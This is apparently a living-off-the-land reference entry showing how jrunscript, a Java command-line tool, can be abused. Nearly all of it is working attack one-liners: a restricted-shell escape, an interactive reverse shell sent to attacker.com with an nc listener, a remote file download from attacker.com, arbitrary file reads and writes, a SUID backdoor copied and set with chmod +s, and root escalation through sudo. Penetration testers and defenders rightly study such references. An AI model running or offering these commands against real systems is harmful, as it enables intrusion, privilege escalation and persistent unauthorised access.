This tool is installed starting with Java SE 6.
It can be used to break out from restricted environments by spawning an interactive system shell.
jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"It can send back a reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345 on the attacker box to receive the shell.
export RHOST=attacker.com
export RPORT=12345
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
java.lang.Thread.sleep(50);
try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'It can download remote files.
Fetch a remote file via HTTP GET request.
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
jrunscript -e "cp('$URL','$LFILE')"It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read")); while ((line = br.readLine()) != null) { print(line); }'It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
This has been found working in macOS but failing on Linux systems.
sudo sh -c 'cp $(which jrunscript) .; chmod +s ./jrunscript'
./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"